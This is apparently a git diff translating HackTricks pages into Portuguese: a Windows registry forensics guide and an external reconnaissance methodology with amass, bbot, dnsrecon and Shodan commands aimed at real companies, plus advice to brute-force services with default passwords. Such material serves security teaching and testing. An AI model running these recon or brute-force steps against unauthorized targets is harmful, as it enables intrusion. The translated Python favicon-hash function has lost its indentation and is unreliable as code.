 
-Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
+O EventID de Segurança 1102 sinaliza a exclusão de logs, um evento crítico para análise forense.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
index 840b910bc..38fb35ea4 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
@@ -1,101 +1,101 @@
-# Interesting Windows Registry Keys
+# Chaves de Registro do Windows Interessantes
 
-### Interesting Windows Registry Keys
+### Chaves de Registro do Windows Interessantes
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### **Windows Version and Owner Info**
+### **Informações sobre a Versão do Windows e Proprietário**
 
-- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner.
+- Localizado em **`Software\Microsoft\Windows NT\CurrentVersion`**, você encontrará a versão do Windows, Service Pack, hora da instalação e o nome do proprietário registrado de forma direta.
 
-### **Computer Name**
+### **Nome do Computador**
 
-- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**.
+- O nome do host é encontrado em **`System\ControlSet001\Control\ComputerName\ComputerName`**.
 
-### **Time Zone Setting**
+### **Configuração do Fuso Horário**
 
-- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**.
+- O fuso horário do sistema é armazenado em **`System\ControlSet001\Control\TimeZoneInformation`**.
 
-### **Access Time Tracking**
+### **Rastreamento do Tempo de Acesso**
 
-- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use:
-  `fsutil behavior set disablelastaccess 0`
+- Por padrão, o rastreamento do último tempo de acesso está desativado (**`NtfsDisableLastAccessUpdate=1`**). Para ativá-lo, use:
+`fsutil behavior set disablelastaccess 0`
 
-### Windows Versions and Service Packs
+### Versões do Windows e Service Packs
 
-- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features.
+- A **versão do Windows** indica a edição (por exemplo, Home, Pro) e seu lançamento (por exemplo, Windows 10, Windows 11), enquanto os **Service Packs** são atualizações que incluem correções e, às vezes, novos recursos.
 
-### Enabling Last Access Time
+### Habilitando o Tempo de Acesso
 
-- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring.
+- Habilitar o rastreamento do último tempo de acesso permite que você veja quando os arquivos foram abertos pela última vez, o que pode ser crítico para análise forense ou monitoramento do sistema.
 
-### Network Information Details
+### Detalhes da Informação de Rede
 
-- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions.
+- O registro contém dados extensivos sobre configurações de rede, incluindo **tipos de redes (sem fio, cabo, 3G)** e **categorias de rede (Pública, Privada/Casa, Domínio/Trabalho)**, que são vitais para entender as configurações de segurança e permissões da rede.
 
-### Client Side Caching (CSC)
+### Cache do Lado do Cliente (CSC)
 
-- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity.
+- **CSC** melhora o acesso a arquivos offline armazenando cópias de arquivos compartilhados. Diferentes configurações de **CSCFlags** controlam como e quais arquivos são armazenados em cache, afetando o desempenho e a experiência do usuário, especialmente em ambientes com conectividade intermitente.
 
-### AutoStart Programs
+### Programas de Inicialização Automática
 
-- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software.
+- Programas listados em várias chaves de registro `Run` e `RunOnce` são lançados automaticamente na inicialização, afetando o tempo de inicialização do sistema e potencialmente sendo pontos de interesse para identificar malware ou software indesejado.
 
 ### Shellbags
 
-- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means.
+- **Shellbags** não apenas armazenam preferências para visualizações de pastas, mas também fornecem evidências forenses de acesso a pastas, mesmo que a pasta não exista mais. Eles são inestimáveis para investigações, revelando a atividade do usuário que não é óbvia por outros meios.
 
-### USB Information and Forensics
+### Informações e Forense de USB
 
-- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents.
+- Os detalhes armazenados no registro sobre dispositivos USB podem ajudar a rastrear quais dispositivos foram conectados a um computador, potencialmente ligando um dispositivo a transferências de arquivos sensíveis ou incidentes de acesso não autorizado.
 
-### Volume Serial Number
+### Número de Série do Volume
 
-- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices.
+- O **Número de Série do Volume** pode ser crucial para rastrear a instância específica de um sistema de arquivos, útil em cenários forenses onde a origem do arquivo precisa ser estabelecida entre diferentes dispositivos.
 
-### **Shutdown Details**
+### **Detalhes do Desligamento**
 
-- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**.
+- O tempo e a contagem de desligamento (esta última apenas para XP) são mantidos em **`System\ControlSet001\Control\Windows`** e **`System\ControlSet001\Control\Watchdog\Display`**.
 
-### **Network Configuration**
+### **Configuração de Rede**
 
-- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
-- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
+- Para informações detalhadas sobre a interface de rede, consulte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
+- Os tempos de conexão de rede, incluindo conexões VPN, são registrados em vários caminhos em **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
 
-### **Shared Folders**
+### **Pastas Compartilhadas**
 
-- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability.
+- Pastas e configurações compartilhadas estão sob **`System\ControlSet001\Services\lanmanserver\Shares`**. As configurações de Cache do Lado do Cliente (CSC) ditam a disponibilidade de arquivos offline.
 
-### **Programs that Start Automatically**
+### **Programas que Iniciam Automaticamente**
 
-- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup.
+- Caminhos como **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e entradas semelhantes em `Software\Microsoft\Windows\CurrentVersion` detalham programas configurados para serem executados na inicialização.
 
-### **Searches and Typed Paths**
+### **Pesquisas e Caminhos Digitados**
 
-- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively.
+- Pesquisas do Explorer e caminhos digitados são rastreados no registro sob **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** para WordwheelQuery e TypedPaths, respectivamente.
 
-### **Recent Documents and Office Files**
+### **Documentos Recentes e Arquivos do Office**
 
-- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths.
+- Documentos recentes e arquivos do Office acessados são anotados em `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e caminhos específicos da versão do Office.
 
-### **Most Recently Used (MRU) Items**
+### **Itens Mais Recentemente Usados (MRU)**
 
-- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`.
+- Listas MRU, indicando caminhos de arquivos e comandos recentes, são armazenadas em várias subchaves `ComDlg32` e `Explorer` sob `NTUSER.DAT`.
 
-### **User Activity Tracking**
+### **Rastreamento de Atividade do Usuário**
 
-- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
+- O recurso User Assist registra estatísticas detalhadas de uso de aplicativos, incluindo contagem de execuções e hora da última execução, em **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
 
-### **Shellbags Analysis**
+### **Análise de Shellbags**
 
-- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis.
+- Shellbags, revelando detalhes de acesso a pastas, são armazenados em `USRCLASS.DAT` e `NTUSER.DAT` sob `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** para análise.
 
-### **USB Device History**
+### **Histórico de Dispositivos USB**
 
-- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps.
-- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**.
-- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively.
+- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contêm detalhes ricos sobre dispositivos USB conectados, incluindo fabricante, nome do produto e timestamps de conexão.
+- O usuário associado a um dispositivo USB específico pode ser identificado pesquisando os hives `NTUSER.DAT` para o **{GUID}** do dispositivo.
+- O último dispositivo montado e seu número de série do volume podem ser rastreados através de `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectivamente.
 
-This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability.
+Este guia condensa os caminhos e métodos cruciais para acessar informações detalhadas sobre sistema, rede e atividade do usuário em sistemas Windows, visando clareza e usabilidade.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index ef4a9559e..4d954ac8d 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -1,49 +1,41 @@
-# External Recon Methodology
+# Metodologia de Reconhecimento Externo
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
+## Descobertas de Ativos
 
-{% embed url="https://www.stmcyber.com/careers" %}
+> Então, foi dito que tudo que pertence a alguma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
 
-## Assets discoveries
+O objetivo desta fase é obter todas as **empresas pertencentes à empresa principal** e, em seguida, todos os **ativos** dessas empresas. Para isso, vamos:
 
-> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns.
+1. Encontrar as aquisições da empresa principal, isso nos dará as empresas dentro do escopo.
+2. Encontrar o ASN (se houver) de cada empresa, isso nos dará os intervalos de IP pertencentes a cada empresa.
+3. Usar consultas de whois reverso para buscar outras entradas (nomes de organizações, domínios...) relacionadas à primeira (isso pode ser feito recursivamente).
+4. Usar outras técnicas como filtros `org` e `ssl` do shodan para buscar outros ativos (o truque `ssl` pode ser feito recursivamente).
 
-The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to:
+### **Aquisições**
 
-1. Find the acquisitions of the main company, this will give us the companies inside the scope.
-2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company
-3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively)
-4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively).
+Primeiramente, precisamos saber quais **outras empresas são propriedade da empresa principal**.\
+Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
+Outra opção é visitar a página da **Wikipedia** da empresa principal e procurar por **aquisições**.
 
-### **Acquisitions**
-
-First of all, we need to know which **other companies are owned by the main company**.\
-One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\
-Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**.
-
-> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets.
+> Ok, neste ponto você deve saber todas as empresas dentro do escopo. Vamos descobrir como encontrar seus ativos.
 
 ### **ASNs**
 
-An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\
-An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators.
-
-It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\
-You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
-**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link.
+Um número de sistema autônomo (**ASN**) é um **número único** atribuído a um **sistema autônomo** (AS) pela **Internet Assigned Numbers Authority (IANA)**.\
+Um **AS** consiste em **blocos** de **endereços IP** que têm uma política claramente definida para acessar redes externas e são administrados por uma única organização, mas podem ser compostos por vários operadores.
 
+É interessante descobrir se a **empresa atribuiu algum ASN** para encontrar seus **intervalos de IP.** Será interessante realizar um **teste de vulnerabilidade** contra todos os **hosts** dentro do **escopo** e **procurar por domínios** dentro desses IPs.\
+Você pode **pesquisar** pelo **nome** da empresa, por **IP** ou por **domínio** em [**https://bgp.he.net/**](https://bgp.he.net)**.**\
+**Dependendo da região da empresa, esses links podem ser úteis para coletar mais dados:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América do Norte),** [**APNIC**](https://www.apnic.net) **(Ásia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De qualquer forma, provavelmente todas as** informações úteis **(intervalos de IP e Whois)** já aparecem no primeiro link.
 ```bash
 #You can try "automate" this with amass, but it's not very recommended
 amass intel -org tesla
 amass intel -asn 8911,50313,394161
 ```
-
-Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan.
-
+Além disso, a enumeração de subdomínios do [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** agrega e resume automaticamente os ASNs no final da varredura.
 ```bash
 bbot -t tesla.com -f subdomain-enum
 ...
@@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum
 [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
 
 ```
+Você pode encontrar os intervalos de IP de uma organização também usando [http://asnlookup.com/](http://asnlookup.com) (ele tem uma API gratuita).\
+Você pode encontrar o IP e ASN de um domínio usando [http://ipv4info.com/](http://ipv4info.com).
 
-You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\
-You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com).
+### **Procurando vulnerabilidades**
 
-### **Looking for vulnerabilities**
+Neste ponto, sabemos **todos os ativos dentro do escopo**, então, se você tiver permissão, poderia lançar algum **scanner de vulnerabilidades** (Nessus, OpenVAS) sobre todos os hosts.\
+Além disso, você poderia lançar alguns [**scans de portas**](../pentesting-network/#discovering-hosts-from-the-outside) **ou usar serviços como** shodan **para encontrar** portas abertas **e dependendo do que você encontrar, você deve** dar uma olhada neste livro sobre como fazer pentesting em vários serviços possíveis em execução.\
+**Além disso, pode valer a pena mencionar que você também pode preparar algumas listas de** nomes de usuário padrão **e** senhas **e tentar** bruteforçar serviços com [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
 
-At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\
-Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\
-**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+## Domínios
 
-## Domains
+> Sabemos todas as empresas dentro do escopo e seus ativos, é hora de encontrar os domínios dentro do escopo.
 
-> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope.
+_Por favor, note que nas técnicas propostas a seguir você também pode encontrar subdomínios e que essa informação não deve ser subestimada._
 
-_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._
+Primeiramente, você deve procurar pelo(s) **domínio(s) principal(is)** de cada empresa. Por exemplo, para _Tesla Inc._ será _tesla.com_.
 
-First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_.
-
-### **Reverse DNS**
-
-As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8)
+### **DNS Reverso**
 
+Como você encontrou todos os intervalos de IP dos domínios, poderia tentar realizar **consultas de dns reverso** nesses **IPs para encontrar mais domínios dentro do escopo**. Tente usar algum servidor DNS da vítima ou algum servidor DNS bem conhecido (1.1.1.1, 8.8.8.8)
 ```bash
 dnsrecon -r  -n    #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
 dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
 dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
 ```
-
-For this to work, the administrator has to enable manually the PTR.\
-You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com)
+Para que isso funcione, o administrador precisa habilitar manualmente o PTR.\
+Você também pode usar uma ferramenta online para essas informações: [http://ptrarchive.com/](http://ptrarchive.com)
 
 ### **Reverse Whois (loop)**
 
-Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\
-You can use online tools like:
+Dentro de um **whois** você pode encontrar muitas **informações** interessantes, como **nome da organização**, **endereço**, **e-mails**, números de telefone... Mas o que é ainda mais interessante é que você pode encontrar **mais ativos relacionados à empresa** se realizar **buscas reversas de whois por qualquer um desses campos** (por exemplo, outros registros whois onde o mesmo e-mail aparece).\
+Você pode usar ferramentas online como:
 
-- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free**
-- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free**
-- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free**
-- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API.
-- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free
-- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches)
-- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free
+- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
+- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratuito**
+- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratuito**
+- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratuito** na web, API não gratuita.
+- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Não gratuito
+- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Não Gratuito (apenas **100 buscas gratuitas**)
+- [https://www.domainiq.com/](https://www.domainiq.com) - Não Gratuito
 
-You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\
-You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
+Você pode automatizar essa tarefa usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requer uma chave de API whoxy).\
+Você também pode realizar algumas descobertas automáticas de reverse whois com [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
 
-**Note that you can use this technique to discover more domain names every time you find a new domain.**
+**Note que você pode usar essa técnica para descobrir mais nomes de domínio toda vez que encontrar um novo domínio.**
 
 ### **Trackers**
 
-If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
-For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
+Se encontrar o **mesmo ID do mesmo tracker** em 2 páginas diferentes, você pode supor que **ambas as páginas** são **gerenciadas pela mesma equipe**.\
+Por exemplo, se você ver o mesmo **ID do Google Analytics** ou o mesmo **ID do Adsense** em várias páginas.
 
-There are some pages and tools that let you search by these trackers and more:
+Existem algumas páginas e ferramentas que permitem que você pesquise por esses trackers e mais:
 
 - [**Udon**](https://github.com/dhn/udon)
 - [**BuiltWith**](https://builtwith.com)
@@ -125,113 +114,99 @@ There are some pages and tools that let you search by these trackers and more:
 
 ### **Favicon**
 
-Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
-
+Você sabia que podemos encontrar domínios e subdomínios relacionados ao nosso alvo procurando pelo mesmo hash do ícone favicon? Isso é exatamente o que a ferramenta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) feita por [@m4ll0k2](https://twitter.com/m4ll0k2) faz. Aqui está como usá-la:
 ```bash
 cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
 python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 ```
+![favihash - descobrir domínios com o mesmo hash de ícone favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
 
-![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
-
-Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target.
-
-Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**:
+Simplificando, favihash nos permitirá descobrir domínios que têm o mesmo hash de ícone favicon que nosso alvo.
 
+Além disso, você também pode pesquisar tecnologias usando o hash do favicon, conforme explicado em [**este post do blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Isso significa que, se você souber o **hash do favicon de uma versão vulnerável de uma tecnologia web**, pode pesquisar no shodan e **encontrar mais lugares vulneráveis**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
-
-This is how you can **calculate the favicon hash** of a web:
-
+É assim que você pode **calcular o hash do favicon** de um site:
 ```python
 import mmh3
 import requests
 import codecs
 
 def fav_hash(url):
-    response = requests.get(url)
-    favicon = codecs.encode(response.content,"base64")
-    fhash = mmh3.hash(favicon)
-    print(f"{url} : {fhash}")
-    return fhash
+response = requests.get(url)
+favicon = codecs.encode(response.content,"base64")
+fhash = mmh3.hash(favicon)
+print(f"{url} : {fhash}")
+return fhash
 ```
-
 ### **Copyright / Uniq string**
 
-Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"`
+Procure nas páginas da web **strings que podem ser compartilhadas entre diferentes sites na mesma organização**. A **string de copyright** pode ser um bom exemplo. Em seguida, procure por essa string no **google**, em outros **navegadores** ou até mesmo no **shodan**: `shodan search http.html:"Copyright string"`
 
 ### **CRT Time**
 
-It's common to have a cron job such as
-
+É comum ter um cron job como
 ```bash
 # /etc/crontab
 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
 ```
+renovar todos os certificados de domínio no servidor. Isso significa que mesmo que a CA usada para isso não defina o tempo em que foi gerado no tempo de validade, é possível **encontrar domínios pertencentes à mesma empresa nos logs de transparência de certificados**.\
+Confira este [**artigo para mais informações**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
 
-to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\
-Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
+### Informações de Mail DMARC
 
-### Mail DMARC information
+Você pode usar um site como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) ou uma ferramenta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **domínios e subdomínios compartilhando as mesmas informações de dmarc**.
 
-You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**.
+### **Tomada Passiva**
 
-### **Passive Takeover**
+Aparentemente, é comum que as pessoas atribuam subdomínios a IPs que pertencem a provedores de nuvem e, em algum momento, **percam esse endereço IP, mas se esqueçam de remover o registro DNS**. Portanto, apenas **criar uma VM** em uma nuvem (como Digital Ocean) você estará, na verdade, **assumindo alguns subdomínios**.
 
-Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**.
+[**Este post**](https://kmsec.uk/blog/passive-takeover/) explica uma história sobre isso e propõe um script que **cria uma VM no DigitalOcean**, **obtém** o **IPv4** da nova máquina e **busca no Virustotal por registros de subdomínio** apontando para ela.
 
-[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it.
+### **Outras maneiras**
 
-### **Other ways**
-
-**Note that you can use this technique to discover more domain names every time you find a new domain.**
+**Observe que você pode usar essa técnica para descobrir mais nomes de domínio toda vez que encontrar um novo domínio.**
 
 **Shodan**
 
-As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate.
+Como você já sabe o nome da organização que possui o espaço de IP. Você pode pesquisar por esses dados no shodan usando: `org:"Tesla, Inc."` Verifique os hosts encontrados para novos domínios inesperados no certificado TLS.
 
-You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Você poderia acessar o **certificado TLS** da página principal, obter o **nome da Organização** e então procurar esse nome dentro dos **certificados TLS** de todas as páginas conhecidas pelo **shodan** com o filtro: `ssl:"Tesla Motors"` ou usar uma ferramenta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
 
 **Assetfinder**
 
-[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) é uma ferramenta que procura por **domínios relacionados** com um domínio principal e **subdomínios** deles, bastante incrível.
 
-### **Looking for vulnerabilities**
+### **Procurando vulnerabilidades**
 
-Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
+Verifique por alguma [tomada de domínio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Talvez alguma empresa esteja **usando algum domínio** mas **perdeu a propriedade**. Basta registrá-lo (se for barato o suficiente) e informar a empresa.
 
-If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
-&#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
+Se você encontrar algum **domínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura básica de vulnerabilidades** (usando Nessus ou OpenVAS) e alguma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo de quais serviços estão em execução, você pode encontrar neste livro algumas dicas para "atacá-los".\
+&#xNAN;_Note que às vezes o domínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
 
-\
